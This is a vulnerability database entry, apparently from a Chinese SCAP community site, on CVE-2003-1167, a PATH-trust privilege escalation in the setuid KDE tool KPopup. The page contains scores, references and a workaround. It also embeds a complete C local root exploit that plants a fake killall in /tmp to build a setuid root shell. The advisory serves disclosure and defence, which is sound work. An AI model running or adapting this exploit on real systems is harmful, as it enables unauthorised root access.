CVE-2003-1167
CVSS7.2
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:36:13
NMCOE    

[原文]misc.cpp in KPopup 0.9.1 trusts the PATH variable when executing killall, which allows local users to elevate their privileges by modifying the PATH variable to reference a malicious killall program.


[CNNVD]kpopup不安全系统调用任意命令执行漏洞(CNNVD-200312-362)

        
        Kpopup是一款KDE程序,用于发送和接收MS Windows WinPopup消息的程序。
        Kpopup程序使用不安全的system(3)调用外部工具,本地攻击者可以利用这个漏洞以root用户权限在系统上执行任意命令。
        Kpopup程序依靠PATH环境变量不安全的使用system()函数来调用killall(1)程序,当执行Kpopup时如果设置环境变量,就可能导致恶意的伪造的killall(1)程序执行。许多目前的SHELL会阻止通过setuid/setgid进程使用这些函数,而且如果进程不匹配进程的实际userid/gid就会丢弃权限。kpopup可能是在调用system前首先设置实际uid和gid为0而导致了安全问题。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:gernot_stocker:kpopup:0.9.1
cpe:/a:gernot_stocker:kpopup:0.9.5_pre2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1167
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1167
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-362
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/8915
(PATCH)  BID  8915
http://www.osvdb.org/2742
(PATCH)  OSVDB  2742
http://secunia.com/advisories/10105
(PATCH)  SECUNIA  10105
http://xforce.iss.net/xforce/xfdb/13540
(UNKNOWN)  XF  kpopup-systemcall-execute-code(13540)
http://www.securityfocus.com/archive/1/342736
(UNKNOWN)  BUGTRAQ  20031028 Local root vuln in kpopup

- 漏洞信息

kpopup不安全系统调用任意命令执行漏洞
高危 其他
2003-12-31 00:00:00 2005-10-20 00:00:00
本地  
        
        Kpopup是一款KDE程序,用于发送和接收MS Windows WinPopup消息的程序。
        Kpopup程序使用不安全的system(3)调用外部工具,本地攻击者可以利用这个漏洞以root用户权限在系统上执行任意命令。
        Kpopup程序依靠PATH环境变量不安全的使用system()函数来调用killall(1)程序,当执行Kpopup时如果设置环境变量,就可能导致恶意的伪造的killall(1)程序执行。许多目前的SHELL会阻止通过setuid/setgid进程使用这些函数,而且如果进程不匹配进程的实际userid/gid就会丢弃权限。kpopup可能是在调用system前首先设置实际uid和gid为0而导致了安全问题。
        

- 公告与补丁

        厂商补丁:
        Gernot Stocker
        --------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.henschelsoft.de/kpopup_en.html

- 漏洞信息 (23308)

kpopup 0.9.x Privileged Command Execution Vulnerability (EDBID:23308)
linux local
2003-10-28 Verified
0 b0f
N/A [点击下载]
source: http://www.securityfocus.com/bid/8915/info

It has been alleged that it is possible for local attackers to gain root privileges through kpopup, which is is installed setuid root by default. According to the report, kpopup uses the system(3) C-library function insecurely to run other utilities on the system. In at least one instance, system(3) is called to invoke the binary killall(1) in a manner relying on the PATH environment variable. As the environment can be set by the unprivileged user when kpopup is executed, an arbitrary executable with the filename killall(1) can be executed. Many modern shells anticipate insecure use of this function by setuid/setgid processes and drop effective privileges if they do not match the real userid/gid of the process. It may be the case that kpopup first sets its real uid and gid to 0 before calling system, making this vulnerability exploitable. This has not been confirmed by Symantec. 

/*Local root exploit for kpopup
 *by b0f www.b0f.net
 */
#include <stdio.h>
int main()
{
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;
}
}
		

- 漏洞信息

2742
KPopup main.cpp Insecure Path Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Kpopup contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicous user changes the PATH environment variable to include a hostile 'killall' binary before the system path. This flaws may be abused to execute arbitrary code as the root user.

- 时间线

2003-10-30 Unknow
2003-10-30 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Remove the setuid bit on the kpopup executable.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站